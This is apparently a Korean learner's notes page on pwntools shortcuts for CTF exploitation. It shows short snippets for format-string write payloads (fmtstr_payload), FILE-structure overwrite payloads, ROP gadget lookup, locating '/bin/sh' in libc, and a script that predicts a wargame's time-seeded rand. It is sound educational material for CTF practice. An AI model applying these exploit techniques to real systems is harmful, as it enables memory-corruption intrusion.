Pwntools shortcut
익스 코드를 짜기 위해서 필수로 사용하는 Pwntools 라이브러리에 대해서 내가 배운 shortcut 들에 대해 설명하는 페이지이다.
sendlineafter
p.recvuntil(": ")
p.sendline(str(1))이런식으로 사용하지 말고
r.sendlineafter("> ", "1")이런식으로 깔끔하게 사용하자
search
sh = list(libc_e.search(b'/bin/sh'))[0]
다음과 같이 libc의 있는 “/bin/sh” 문자열의 offset을 바로 가져올 수 있다.
FILE STRUCTURE OVERWRITE
https://docs.pwntools.com/en/stable/filepointer.html
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeef)
>>> fileStr.vtable = 0xcafebabe
>>> payload = bytes(fileStr)
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
우리가 file 구조체를 overwrite할 수 있을때 쓰는 도구이다.
Random 파훼
from ctypes import CDLL
from pwn import *
fname = "./chall"
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
p = process(fname)
#p = remote('host3.dreamhack.games', 21690)
t = ['R' , 'P' , 'S' ]
for i in range(10):
rand = libc.rand()
a = rand % 3
print(t[a])
a = (a + 4) % 3
p.sendlineafter("(R, P, S): " , t[a])
p.interactive()FSB shortcut
fmtstr_payload
context.bits = 64
payload = fmtstr_payload(6, {changeme_leak : 1337 })복잡한 fsb 코드를 대신 짜주는 Pwntools 의 라이브러리
root@16c93ee063f9:/home/fsb_overwrite/fsb_overwrite# ./fsb_overwrite
AAAAAAAA %p %p %p %p %p %p %p
AAAAAAAA 0x7ffee6042af0 0x1e 0x79592f2a67e2 0x79592f3adf10 0x79592f3c7040 0x4141414141414141 0x2520702520702520 다음과 같이 템플릿을 입력했을때 0x4141414141414141 이 몇번째에 따라 오프셋을 알 수 있다. 현재 위의 오프셋은 6이다.
fmtstr_payload(offset, {바꾸고 싶은 주소 : value })
형식은 위와 같다.
중요→ 참고로 다음과 같이
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
4바이트 2바이트 1바이트 쓰는 걸로 정할수도 있다.
context.bits = 64이걸 반드시 64비트면 붙여야 한다. 32비트면 안붙여도 된다.
r.sendline("%12$p")
payload = b"%p" * 15굳이 이런식을로 15번째 까지 다 읽어 오지 않아도 된다.
r.sendline("%12$p") 이 와 같이 원하는 번째 인자만 읽어 올 수 있다.
__libc_start_main_ret_offset = libc_e.libc_start_main_return
오 이게 있었구나
참고
pwntools ropgadget
원래는 ROPgadget —binary ./libc.so.6 | grep “pop rdi ; ret” 이런식으로 사용하고 있었는데
어느순간 부터 좀더 자동화를 위해 아예 pwntools 에서만 해결할려 하다보니 pwntools ropgadget이 필요해졌다.
따라서 좀만 알아보자면
poprdi_gadget = rop.find_gadget(['pop rdi' , 'ret']) # 원하는 가젯 찾기
print(poprdi_gadget)
# result
# Gadget(0x10f75b, ['pop rdi', 'ret'], ['rdi'], 0x8)이런식으로 쓰고 결과인 Gadget 객체의 각 필드는
0x10f75b → 가젯 주소
['pop rdi', 'ret'] → 가젯을 이루는 명령어 시퀀스.
['rdi'] → 이 가젯이 스택에서 값을 꺼내 세팅하는 레지스터 목록.
0x8 → 이 가젯이 ROP 때 스택에서 소비하는 바이트 수(인자 부분). (참고: pop rdi; pop rsi; ret라면 여기가 0x10이 됩니다.)
다음과 같다. 우리는
poprdi_offset = poprdi_gadget.address # 가젯 주소
need = poprdi_gadget.stack_change // 8 # 이 가젯 뒤에 쌓아야 할 QWORD 개수 (여기선 1)이렇게 사용할 수 있다.
shellcode shortcut
이건 좀 심화로 다루기 위해 다음글에서 다룬다.